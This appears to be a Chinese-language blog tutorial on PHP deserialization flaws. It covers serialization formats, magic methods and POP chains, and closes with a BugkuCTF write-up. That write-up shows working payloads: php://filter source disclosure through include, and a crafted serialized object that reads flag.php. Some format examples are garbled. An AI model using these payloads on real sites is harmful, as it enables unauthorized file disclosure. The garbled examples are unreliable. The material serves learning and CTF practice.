php反序列化漏洞
php序列化
在php中存在两个函数,serialize和unserialize,他们的作用分别是将对象进行序列化和反序列化
什么是序列化?
官方文档给出如下定义:
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
简而言之,他将一个对象返回为字符串的形式
unserialize则将其还原
为什么要进行序列化?
概念:对象是在内存中存储的数据类型,寿命通常随着生成该对象的程序的终止而终止,但是有些情况下需要将对象的状态保存下来,然后在需要使用的时候将对象恢复,对象状态的保存操作就是对象序列化的过程。对象序列化就是将对象转化为2进制字符串进行保存。
作用:将对象的状态通过数值和字符记录下来,以某种存储形式使自定义对象持久化,方便需要时候将对象进行恢复使用,用于对象的传递以及使程序代码更具维护性
再换一种方式来理解
“你有一个应用程序,需要传一些数据给其它应用程序,但数据保存在你的进程的堆栈中,其它进程无法访问你的应用程序进程的堆栈,要想把你的程序的数据给其它程序使用,必须将数据以某种形式传给其它进程,这个‘某种形式’就是序列化 。”
也就是说,序列化给了你一种方式去方便你利用数据,而不是每一次运行程序时都要将目标程序重新运行一次
序列化的格式
- 基础格式
- boolean
b:; b:1; // True b:0; // False
- integer
i:; i:1; // 1 i:-3; // -3
- double
d:; d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)
- null
N; //NULL
- string
s::""; s"INSOMNIA"; // "INSOMNIA"
- array
a::{key, value pairs}; a{s"key1";s"value1";s"value2";} // array("key1" ="value1", "key2" ="value2")
- 应用举例
给出一个demo1.php
<?php
class test{
var $varible = "hello world";
function printit(){
echo $this->varible;
}
}
$demo = new test();
#$demo->printit();
echo serialize($demo);
?>
得到结果:
进行分析:
这里涉及到一个基本概念
类成员包括由属性和方法构成,类属性存在于数据段,类方法存在于代码段,对于一个类来说,类的方法不占用类的空间,占空间的只有类的属性
还需要注意的是:
当成员变量为private时
private $flag = "hello world";
此时会出现
s:10:"testflag";
用winhex查看源文件,发现
当成员变量为protected时
protected $flag = "hello world";
此时会出现
s:7:"*flag";
用winhex查看源文件会发现:
原因是什么呢
是因为
对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节。
魔术方法
construct(), destruct()
构造函数与析构函数
call(), callStatic()
方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
get(), set()
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
isset(), unset()
__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。
sleep(), wakeup()
serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。
__toString()
__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
__invoke()
当脚本尝试将对象调用为函数时,调用__invoke()方法。
__set_state()
__clone()
__debugInfo()
这里要提一个优先级的问题:
wakeup>toString>__destruct
反序列化及其问题
反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的
所以漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。
pop链
POP:面向属性编程
面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。
给出一个关于popchain的讲解
举个例子
一些对我们来说有用的POP链方法:
命令执行:
exec()
passthru()
popen()
system()
文件操作:
file_put_contents()
file_get_contents()
unlink()
demo1.php
<?php
class test{
protected $flag = "hello world";
function printit(){
echo $this->flag;
}
}
$demo = new test();
#$demo->printit();
echo serialize($demo);
?>
demo2.php
<?php
require('./demo1.php');
$object = new test();
$data = serialize($object);
#$object->printit();
file_put_contents('get1.txt',$data);
?>
这里即完成一个存储序列化数据的操作
demo3.php
<?php
require('./demo1.php');
$filename = file_get_contents('./get1.txt');
$object = unserialize($filename);
var_dump ($object);
?>
成功解序列化:
O:4:"test":1:{s:4:"flag";s:11:"hello world";}object(test)#2 (1) { ["flag"]=> string(11) "hello world" }
由于对于get1.txt没有进行任何处理,此时若我将”hello world“改为“i got it”,则会显示:
O:4:"test":1:{s:4:"flag";s:11:"hello world";}object(test)#2 (1) { ["flag"]=> string(8) "i got it" }
成功更改了值
一道CTF的题
题目名字叫welcome to bugkuctf
打开题目,点击源码查看,得到:
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
不难理解,定义了三个get方法传入的参数,根据条件,构造
?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
post提交welcome to the bugkuctf
得到了hint.php的源码:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
但是发现不足以解出题目,于是便查看index.php
txt=php://input&file=php://filter/read=convert.base64-encode/resource=index.php
得到:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
可以知道很重要的一点就是,对password进行了反序列化
于是根据Flag类构造序列化的字符串:
?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
最终得到flag
参考链接:
https://www.anquanke.com/post/id/86452
http://k1n9.me/2016/11/06/php-obi/
http://www.freebuf.com/column/151447.html
Author: damn1t
Link: http://microvorld.com/2018/05/29/vulnerable/序列化/
Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.